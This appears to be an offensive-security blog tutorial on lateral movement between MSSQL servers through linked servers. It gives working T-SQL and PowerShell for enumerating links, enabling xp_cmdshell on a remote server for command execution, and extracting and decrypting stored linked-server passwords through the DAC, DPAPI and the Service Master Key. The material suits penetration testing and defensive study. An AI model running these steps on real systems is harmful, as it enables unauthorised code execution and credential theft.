4. Lateral Movement between mssql servers
MSSQL server enumeration and exploitation series
- ๐ Lateral Movement using Linked Servers in MSSQL
- ๐ ๏ธ Query Methods for Linked Servers
- ๐ Permissions
- ๐ต๏ธโโ๏ธ Enumerating Linked Servers
- ๐ Viewing Remote Databases via
OPENQUERY - ๐งช Checking Remote Privileges using
OPENQUERY - ๐ ๏ธ Remote Code Execution (RCE) via Linked Servers
- ๐งฐ Post-Exploitation: Decrypting Linked Server Credentials
๐ Lateral Movement using Linked Servers in MSSQL
Lateral movement between MSSQL servers involves leveraging access to one SQL Server to move laterally to other servers in the network. This can be achieved through built-in features, misconfigurations, or trust relationships. The most well-known technique for lateral movement between MSSQL servers is Linked Servers (Database Trusts). However, there are other methods such as Reusing Credentials and CLR Assemblies. In this blog, I will focus on Linked Servers.
๐ง Concept
A Linked Server allows one SQL Server instance (Server A) to execute queries on another SQL Server instance (Server B). It enables cross-server communication, often configured for database integration or centralized data access.
๐ฏ Use Cases in Offensive Security
If youโre on a compromised MSSQL server (Server A), and itโs linked to another server ( Server B), you may:
- Enumerate linked servers.
- Execute queries on Server B remotely.
- Execute OS-level commands (
xp_cmdshell) on Server B. - Extract and decrypt saved linked server credentials.
๐ ๏ธ Query Methods for Linked Servers
There are three main ways to query a linked server:
| Method | Use Case | Notes |
|---|---|---|
OPENQUERY | Query the remote server using T-SQL. | Returns a single result set only. |
EXECUTE AT | More flexible than OPENQUERY. | Supports multiple result sets and extended procedures. |
OPENROWSET | Ad-hoc connection using connection string. | Doesnโt need pre-linked servers. |
๐ Permissions
- You do not need
sysadminrole to run queries across linked servers. - You do need
sysadminor similar high privileges on the remote server to execute system commands (viaxp_cmdshell).
๐ต๏ธโโ๏ธ Enumerating Linked Servers
1
EXEC sp_linkedservers;
This lists all linked servers available.
There are two servers - SQL01 , which is the server we are currently connected to, and SQL02 , which is a remote server that is linked to this one.
๐ Viewing Remote Databases via OPENQUERY
1
SELECT * FROM OPENQUERY(SQL02, 'SELECT name, database_id, create_date FROM sys.databases');
This executes the inner query on SQL02 and returns the databases back to SQL01.
๐งช Checking Remote Privileges using OPENQUERY
To check if your current login has sysadmin on the remote server (e.g., SQL02):
1
SELECT * FROM OPENQUERY(SQL02, 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');
Use double single-quotes to escape quotes in nested queries.
๐ ๏ธ Remote Code Execution (RCE) via Linked Servers
If youโre confirmed sysadmin on the linked server (SQL02), you can enable xp_cmdshell and run OS commands remotely:
1
2
3
4
5
EXECUTE (
'EXEC sp_configure "show advanced options", 1; RECONFIGURE;
EXEC sp_configure "xp_cmdshell", 1; RECONFIGURE;
EXEC xp_cmdshell "whoami";'
) AT SQL02;
If successful, the output will show the service account running SQL Server (e.g., NT Service\MSSQLSERVER).
This service account could be abused later as it have SeImpersonatePrivilege privilege.
๐งฐ Post-Exploitation: Decrypting Linked Server Credentials
๐ Background
After compromising a machine hosting an MSSQL Server instance with linked servers, itโs possible to extract and decrypt the SQL Server Authentication credentials used for those links.
To achieve this, you must have:
- A login with the
sysadminrole on the SQL Server instance. - Local administrator privileges on the underlying Windows machine hosting the SQL Server.
If you have local administrator privileges but not
sysadminaccess, you can escalate tosysadminusing this authorization bypass technique.
๐ Where Are Linked Server Credentials Stored?
When a linked server uses SQL Server Authentication, the associated username and password are:
- Encrypted using the SQL Serverโs Service Master Key (SMK).
- Stored locally in the system table:
master.sys.syslnklgns
However, this table is protected and can only be queried through a Dedicated Admin Connection (DAC).
๐ ๏ธ Manual
๐งโ๐ป 1. Connecting via DAC in SSMS
- Close all current connections in SSMS.
- Go to File > New > Database Engine Query.
- In the Server name, enter:
ADMIN:SQL02. Authenticate as a local sysadmin (e.g.,
SQL02\Administrator). In this case, we will use Windows Authentication asSQL02\Administrator.
๐ 2. Query Encrypted Linked Server Credentials
1
2
3
4
5
SELECT sysservers.srvname, syslnklgns.name, syslnklgns.pwdhash
FROM master.sys.syslnklgns
INNER JOIN master.sys.sysservers
ON syslnklgns.srvid = sysservers.srvid
WHERE LEN(pwdhash) > 0;
This reveals encrypted passwords (pwdhash) for each linked server login.
๐ฆ 3. Obtain encrypted MSK
The credentials stored in sys.syslnklgns are symmetrically encrypted with the Service Master Key, which is stored inside the sys.key_encryptions table with a key_id value of 102 .
MSSQL uses a Service Master Key (SMK) to encrypt the passwords. The SMK is encrypted using DPAPI (Data Protection API) and stored in:
1
SELECT * FROM sys.key_encryptions WHERE key_id = 102;
Youโll see two rows:
- One encrypted for CurrentUser 0x01
- One for LocalMachine โ easiest to decrypt with local admin privileges.
๐ 4. Decrypting the Service Master Key (SMK)
Get DPAPI Entropy from Registry
1
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy"
Decrypt SMK in PowerShell
1 2 3 4 5 6 7
$encryptedData = "0x..."; # From SQL query $encryptedData = $encryptedData.Substring(18); $encryptedData = -split ($encryptedData -replace '..', '0x$& '); $entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy").Entropy; Add-Type -AssemblyName System.Security; $SMK = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedData, $entropy, 'LocalMachine'); Write-Host (($SMK|ForEach-Object ToString X2) -join '');
This gives you the decrypted hex-encoded SMK. which we may now use to decrypt the credentials found previously.
You can verify which encryption algorithm was used by checking the length of the decrypted Service Master Key .
- If it is 16 bytes long, then AES was used
- if it is 8 bytes long then 3DES was used. In this case, we are running MSSQL Server 2022 , and the Service Master Key is 16 bytes long, so we know that AES is the encryption algorithm being used to encrypt the linked server credentials.
๐ 5. Decrypting Linked Server Passwords with SMK
Extract IV & Ciphertext
1 2 3 4 5 6
SELECT name, SUBSTRING(pwdhash, 5, 16) AS 'IV', SUBSTRING(pwdhash, 21, LEN(pwdhash) - 20) AS 'Ciphertext' FROM sys.syslnklgns WHERE LEN(pwdhash) > 0;
Use CyberChef to Decrypt
Use CyberChefโs AES Decrypt recipe:
- Key: The SMK from PowerShell (Hex)
- IV: Extracted IV from T-SQL, The first 16 bytes (after padding) of
ws_userโspwdhash - Input: Extracted Ciphertext which in this case is the remaining bytes from
ws_userโspwdhash - Mode: CBC
- Encoding: Hex
Output: Decode as UTF-16LE
Youโll get the decrypted password, possibly with some leading junk bytes.
We can now use this to authenticate against SQL01 , and if we are lucky, there may be a domain user which uses the same password.
๐ค Automated
Thereโs a PowerShell module to automate linked server password decryption:
๐ Get-MSSQLLinkPasswords.psm1
Use this after gaining access to the target SQL host, Simply import the PowerShell module ( located on SQL02\Administrator โs desktop), and then invoke Get-MSSQLLinkPasswords











